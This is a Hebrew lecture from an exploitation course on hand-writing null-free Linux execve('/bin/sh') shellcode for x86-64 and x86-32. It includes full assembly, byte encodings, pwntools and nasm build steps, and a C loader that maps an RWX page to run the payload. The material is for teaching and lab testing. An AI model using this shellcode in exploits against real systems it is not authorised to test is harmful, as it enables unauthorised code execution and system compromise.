לדלג לתוכן

3.1 כתיבת shellcode ידני הרצאה

בפרק הקודם למדנו לקחת שליטה מלאה על ה-RIP: לגרום לתוכנית לקפוץ בדיוק לכתובת שאנחנו בוחרים. אבל שליטה על הכתובת היא רק חצי הסיפור. עכשיו נשאל את השאלה הבאה: לאן בעצם כדאי לקפוץ? התשובה הקלאסית היא קוד מכונה משלנו, שכתבנו והזרקנו לזיכרון, שכל תפקידו הוא לפתוח לנו shell. הקוד הזה נקרא shellcode, ובהרצאה הזו נכתוב אותו ביד, בית אחרי בית, גם ל-x86-64 וגם ל-x86-32.

הרעיון פשוט להחריד: אם נצליח להריץ execve("/bin/sh", NULL, NULL) בתוך התהליך הvulnerable, נקבל מעטפת פקודות עם ההרשאות של אותו תהליך. כל שאר הקורס בעצם עוסק בדרכים שונות להגיע לרגע הזה. אז בואו נבין קודם איך נראה הקוד עצמו.

מה זה בכלל shellcode

המונח shellcode מתאר רצף בתים של קוד מכונה גולמי - לא קובץ ELF, לא פונקציה עם prologue ו-epilogue, פשוט הוראות שאפשר להעתיק לאזור זיכרון כלשהו ולקפוץ אליהן. אין לו טוען (loader), אין לו טבלת סמלים, ואין לו מקטעים. זו הסיבה שאנחנו כותבים אותו באסמבלי גולמי ואז מוציאים ממנו רק את הבתים של .text.

כשאנחנו מזריקים shellcode לתהליך vulnerable, בדרך כלל אנחנו לא יודעים מראש באיזו כתובת הוא יישב, ואנחנו לא יכולים להסתמך על טוען שיסדר לנו את הכתובות. לכן ל-shellcode טוב יש שתי תכונות:

  • הוא עצמאי (position-independent): לא תלוי בכתובת שבה הוא רץ. במקום להסתמך על כתובות קבועות, הוא בונה כל מה שהוא צריך על המחסנית בזמן ריצה.
  • הוא נקי מבתים אפס (null-free): אין בו אף בית 0x00.

התכונה השנייה היא הכי חשובה, ולכן נתחיל דווקא ממנה.

הכלל הראשון - בלי בתים אפס - null-free

למה בית אפס הוא בעיה? כי ברוב המקרים אנחנו מזריקים את ה-shellcode דרך פונקציה שמעתיקה מחרוזות. חשבו על strcpy, gets, scanf("%s", ...), sprintf - כולן עוצרות ברגע שהן פוגשות בית 0x00, כי ככה מוגדר סוף מחרוזת ב-C. אם ה-shellcode שלנו מכיל אפס באמצע, הפונקציה תעתיק רק את החלק שלפניו, והשאר פשוט לא יגיע ליעד.

זאת אומרת שהאויב הגדול שלנו הוא ההוראות שהאסמבלר מייצר עם אפסים בפנים. הנה שתי דוגמאות קלאסיות למלכודת:

mov rax, 59        ; 48 c7 c0 3b 00 00 00   <-- three zero bytes!
mov eax, 11        ; b8 0b 00 00 00         <-- three zero bytes!

שתי ההוראות האלה נכונות מבחינה לוגית, אבל האסמבלר מקודד את המספר הקטן בתוך שדה של 32 ביט, וממלא את הבתים העליונים באפסים. בשביל shellcode זה פסול.

הנה הטריק שפותר את זה. במקום לטעון מספר קטן לרגיסטר רחב, קודם מאפסים את הרגיסטר עם xor, ואז כותבים רק את הבית התחתון:

xor eax, eax       ; 31 c0        eax = 0 (also zeroes the upper part of rax)
mov al, 59         ; b0 3b        al = 59, so rax = 59

ההוראה xor reg, reg היא הדרך הקנונית לאפס רגיסטר בלי אף בית אפס, ובזכות זה שכתיבה ל-eax מאפסת אוטומטית את 32 הביטים העליונים של rax, קיבלנו rax = 59 בשני בתים נקיים לגמרי. את אותו רעיון נשתמש שוב ושוב.

קריאת המערכת - execve

המטרה שלנו היא הקריאה:

execve("/bin/sh", NULL, NULL);

הפרמטר הראשון הוא הנתיב לתוכנית להריץ, השני הוא argv (מערך ארגומנטים), והשלישי הוא envp (משתני סביבה). כשמעבירים NULL לשניים האחרונים, זה פשוט אומר "בלי ארגומנטים ובלי סביבה", וזה מספיק כדי לפתוח shell.

עכשיו הפרטים החשובים, וכאן ההבדל בין 64 ל-32 ביט:

                  x86-64 (syscall)        x86-32 (int 0x80)
syscall number    rax = 59                eax = 11
argument 1        rdi = address of "/bin/sh"   ebx = address of "/bin/sh"
argument 2        rsi = 0  (argv)         ecx = 0  (argv)
argument 3        rdx = 0  (envp)         edx = 0  (envp)
invocation        syscall                 int 0x80

שימו לב לשני דברים. ראשית, מספר הקריאה שונה לגמרי בין הארכיטקטורות: 59 ב-64 ביט מול 11 ב-32 ביט. זו טעות נפוצה מאוד - להעתיק shellcode של ארכיטקטורה אחת ולתהות למה הוא לא עובד. שנית, מנגנון ההפעלה שונה: ב-64 ביט משתמשים בהוראה syscall, וב-32 ביט בפסיקה הישנה int 0x80.

בשתי הארכיטקטורות אנחנו צריכים איפשהו בזיכרון את המחרוזת "/bin/sh" שמסתיימת באפס, ולתת ל-rdi (או ebx) את הכתובת שלה. אין לנו איפה לשמור אותה מראש, אז נבנה אותה בזמן ריצה - על המחסנית.

בניית המחרוזת על המחסנית

הנה הטריק המרכזי של כל shellcode שפותח shell. אנחנו דוחפים את המחרוזת למחסנית עם push, ואז לוקחים את rsp (שמצביע עכשיו על תחילת המחרוזת) בתור המצביע לפרמטר הראשון.

יש עדינות אחת: המחרוזת "/bin/sh" היא באורך שבעה בתים, ואנחנו רוצים לדחוף בלוקים של שמונה בתים (רגיסטר שלם). אם ננסה לסדר שבעה בתים, נצטרך להוסיף בית אפס כדי להשלים לשמונה - וזה בדיוק מה שרצינו להימנע ממנו. הפתרון האלגנטי: כותבים "/bin//sh" עם שני קווים נטויים. עכשיו זה בדיוק שמונה בתים, בלי שום אפס בפנים, וה-kernel מתייחס ל-// בדיוק כמו ל-/ בודד, אז הנתיב עדיין מצביע על אותו קובץ.

בואו נחשב את הערך המספרי של "/bin//sh". הבתים לפי סדר ASCII הם:

char   /     b     i     n     /     /     s     h
byte   0x2f  0x62  0x69  0x6e  0x2f  0x2f  0x73  0x68

הזיכרון ב-x86 הוא little-endian, אז כשנטען את המחרוזת לרגיסטר וניתן דחיפה, הבית 0x2f (התו /) צריך לשבת בכתובת הנמוכה ביותר. המשמעות היא שהערך שנטען לרגיסטר הוא 0x68732f2f6e69622f - שימו לב שהבית העליון הוא 0x68 (התו h) והבית התחתון הוא 0x2f (התו /). אף אחד מהבתים אינו אפס. מושלם.

בניית shellcode ל-x86-64

עכשיו יש לנו את כל החלקים. הנה ה-shellcode המלא, עם הסבר לכל שורה:

_start:
    xor  rdx, rdx                 ; rdx = 0  ->  envp = NULL (third argument)
    push rdx                      ; push a zero qword - this terminates the string
    mov  rbx, 0x68732f2f6e69622f  ; "/bin//sh" in little-endian encoding
    push rbx                      ; push the string, above the zeros
    mov  rdi, rsp                 ; rdi -> "/bin//sh"  (first argument)
    xor  rsi, rsi                 ; rsi = 0  ->  argv = NULL (second argument)
    xor  eax, eax                 ; zero out all of rax
    mov  al, 59                   ; rax = 59  ->  execve syscall number
    syscall                       ; jump to the kernel, run execve

בואו נעקוב אחרי מצב המחסנית אחרי שתי הדחיפות הראשונות. קודם דחפנו את ה-0 (מ-rdx), ואז את המחרוזת, ומכיוון שהמחסנית גדלה כלפי מטה, המחרוזת יושבת בכתובות הנמוכות יותר, מתחת לאפסים:

high addresses
+---------------------------+
| 00 00 00 00 00 00 00 00   |  <-- the zero qword we pushed (terminates the string)
+---------------------------+
| "/bin//sh" (8 bytes)      |  <-- rsp points here, this is the address that goes into rdi
+---------------------------+
low addresses (rsp)

התוצאה: rdi מצביע על מחרוזת מסתיימת באפס "/bin//sh\0", rsi ו-rdx הם אפס, rax הוא 59, וה-syscall מריץ בדיוק את execve("/bin//sh", NULL, NULL).

עכשיו נוודא שאין באמת אף בית אפס. הנה כל ההוראות עם הקידוד שלהן:

48 31 d2                    xor  rdx, rdx
52                          push rdx
48 bb 2f 62 69 6e 2f 2f 73 68   mov  rbx, 0x68732f2f6e69622f
53                          push rbx
48 89 e7                    mov  rdi, rsp
48 31 f6                    xor  rsi, rsi
31 c0                       xor  eax, eax
b0 3b                       mov  al, 59
0f 05                       syscall

עברו בית-בית: אין אף 00. סך הכול 27 בתים של shellcode נקי, עצמאי וקומפקטי.

בניית shellcode ל-x86-32

באותה גישה בדיוק, אבל עם ההבדלים של 32 ביט: הרגיסטרים צרים יותר (eax, ebx, ecx, edx), מספר הקריאה הוא 11, וההפעלה היא int 0x80. מכיוון שכל דחיפה היא ארבעה בתים בלבד, נחלק את "/bin//sh" לשני חצאים ונדחוף אותם בסדר הפוך (החצי השני קודם, כי הוא הולך לכתובת הגבוהה יותר):

_start:
    xor  eax, eax        ; eax = 0
    push eax             ; push a zero dword - end of string
    push 0x68732f2f      ; "//sh"  (second half, to the higher address)
    push 0x6e69622f      ; "/bin"  (first half, to the lower address)
    mov  ebx, esp        ; ebx -> "/bin//sh"  (first argument)
    xor  ecx, ecx        ; ecx = 0  ->  argv = NULL
    xor  edx, edx        ; edx = 0  ->  envp = NULL
    mov  al, 11          ; eax = 11  ->  execve syscall number
    int  0x80            ; jump to the kernel

שוב נחשב את שני החצאים. "/bin" הם הבתים 2f 62 69 6e, שב-little-endian זה 0x6e69622f. "//sh" הם הבתים 2f 2f 73 68, שזה 0x68732f2f. אף אחד מהם לא מכיל אפס.

הנה בדיקת הבתים המלאה:

31 c0              xor  eax, eax
50                 push eax
68 2f 2f 73 68     push 0x68732f2f
68 2f 62 69 6e     push 0x6e69622f
89 e3              mov  ebx, esp
31 c9              xor  ecx, ecx
31 d2              xor  edx, edx
b0 0b              mov  al, 11
cd 80              int  0x80

23 בתים, בלי אף אפס. שימו לב איך mov al, 11 מנצל את זה ש-eax כבר אופס בהתחלה, בדיוק כמו בגרסת ה-64 ביט.

הרכבה עם pwntools - asm

הדרך הכי מהירה להפוך אסמבלי לבתים היא הפונקציה asm() של pwntools. קובעים את הארכיטקטורה עם context.arch, מעבירים מחרוזת אסמבלי, ומקבלים בחזרה bytes:

from pwn import *

context.arch = 'amd64'   # for 32-bit: 'i386'

code = '''
    xor  rdx, rdx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    xor  eax, eax
    mov  al, 59
    syscall
'''

sc = asm(code)
print(len(sc), 'bytes')
print(sc.hex())
assert b'\x00' not in sc, 'there is a zero byte in the shellcode!'

השורה האחרונה היא הרגל טוב מאוד. תמיד תוסיפו assert b'\x00' not in sc אחרי כל הרכבה - זה תופס אפסים לפני שהם מבזבזים לכם שעה של דיבוג מול target אמיתי.

הספרייה pwntools גם יודעת לייצר את ה-shellcode הזה לבד דרך המודול shellcraft, למשל asm(shellcraft.amd64.linux.sh()). זה נוח, אבל בקורס הזה חשוב שתדעו לכתוב אותו ביד - כי כשתגיעו ל-shellcode מוגבל (רק תווים מודפסים, בלי בתים מסוימים) אף גנרטור לא יציל אתכם.

הרכבה עם nasm ובדיקה כתוכנית

לפעמים נוח לעבוד ישירות עם nasm, במיוחד אם רוצים לבדוק את ה-shellcode כתוכנית שלמה. נגדיר קובץ sh64.asm:

BITS 64
global _start
section .text
_start:
    xor  rdx, rdx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    xor  eax, eax
    mov  al, 59
    syscall

מרכיבים ומקשרים לתוכנית ריצה, ואז מריצים - אם הכול תקין, נקבל shell:

nasm -f elf64 sh64.asm -o sh64.o
ld sh64.o -o sh64
./sh64            # should open a shell

כדי להוציא רק את הבתים הגולמיים (לשימוש ב-exploit), אפשר לחלץ את מקטע .text:

objcopy -O binary -j .text sh64.o sh64.bin
xxd sh64.bin              # see the bytes
python3 -c "print(open('sh64.bin','rb').read().hex())"

אפשר גם לפרק ולוודא שההוראות הן מה שהתכוונו:

objdump -d sh64.o

בדיקה עם טוען - loader

לפני שזורקים shellcode על target אמיתי, כדאי לבדוק אותו במעבדה. הדרך הכי פשוטה עם pwntools היא run_shellcode, שבונה בשבילכם טוען זעיר, מריץ אותו, ומחזיר tube:

from pwn import *
context.arch = 'amd64'
sc = asm(open('sc64.asm').read())   # or the string from before
p = run_shellcode(sc)
p.sendline(b'id')                   # send a command to the shell that opened
print(p.recvline())
p.interactive()

אם אתם רוצים להבין מה קורה מתחת למכסה המנוע, כתבו טוען קטן ב-C בעצמכם. הטוען מקצה עמוד זיכרון עם הרשאות קריאה-כתיבה-הרצה (RWX), מעתיק אליו את ה-shellcode, וקופץ אליו:

#include <string.h>
#include <sys/mman.h>

unsigned char sc[] =
    "\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    "\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05";

int main(void) {
    void *page = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANON | MAP_PRIVATE, -1, 0);
    memcpy(page, sc, sizeof(sc));
    ((void (*)(void))page)();   // jump to the shellcode
    return 0;
}
gcc -o loader loader.c        # 64-bit
./loader                      # should open a shell; try: id

ל-shellcode של 32 ביט, קמפלו את הטוען עם gcc -m32 -o loader32 loader.c והדביקו את הבתים המתאימים. שימו לב שאנחנו משתמשים ב-mmap עם PROT_EXEC כדי שהעמוד יהיה ניתן להרצה - זה עוקף את מנגנון ה-NX בתוך המעבדה שלנו. אלטרנטיבה מהירה יותר לבדיקה: לקמפל טוען שמריץ מהמחסנית עם gcc -z execstack -no-pie loader.c -o loader, אבל mmap עם RWX נקי ומפורש יותר.

חשוב להבין את ההנחה כאן: הinjection והרצה של shellcode עובדת רק כשיש אזור זיכרון ניתן להרצה שאנחנו יכולים לכתוב אליו. במעבדה יצרנו כזה במפורש (RWX). ב-target אמיתי עם NX פעיל, המחסנית וה-heap אינם ניתנים להרצה, ואז shellcode פשוט לא יעבוד - ובדיוק בשביל המקרים האלה קיים פרק 4 על ROP. כרגע אנחנו מניחים NX כבוי או אזור RWX זמין, בלי ASLR שמפריע, ומתמקדים ביכולת לכתוב את הקוד עצמו.

סיכום

  • ה-shellcode הוא קוד מכונה גולמי, עצמאי וקומפקטי, שמטרתו הנפוצה היא להריץ execve("/bin/sh", 0, 0) ולפתוח shell.
  • הכלל הקריטי הוא בלי בתים אפס, כי פונקציות העתקת מחרוזות עוצרות באפס הראשון וקוטעות את ה-shellcode.
  • מאפסים רגיסטרים עם xor reg, reg וטוענים מספרים קטנים דרך הבית התחתון (mov al, N) כדי להימנע מאפסים.
  • בונים את המחרוזת על המחסנית עם push, ומשתמשים ב-"/bin//sh" בת שמונה הבתים כדי להתאים לרגיסטר בלי בית אפס.
  • ב-x86-64: rax = 59, ארגומנטים ב-rdi/rsi/rdx, הפעלה עם syscall. סך הכול 27 בתים.
  • ב-x86-32: eax = 11, ארגומנטים ב-ebx/ecx/edx, הפעלה עם int 0x80. סך הכול 23 בתים.
  • מרכיבים עם asm() של pwntools או עם nasm, בודקים אפסים עם assert b'\x00' not in sc, ובודקים ריצה עם run_shellcode או עם טוען mmap שמקצה עמוד RWX.
  • כל זה מניח NX כבוי או אזור RWX זמין. מול NX פעיל נעבור לטכניקות של פרק 4.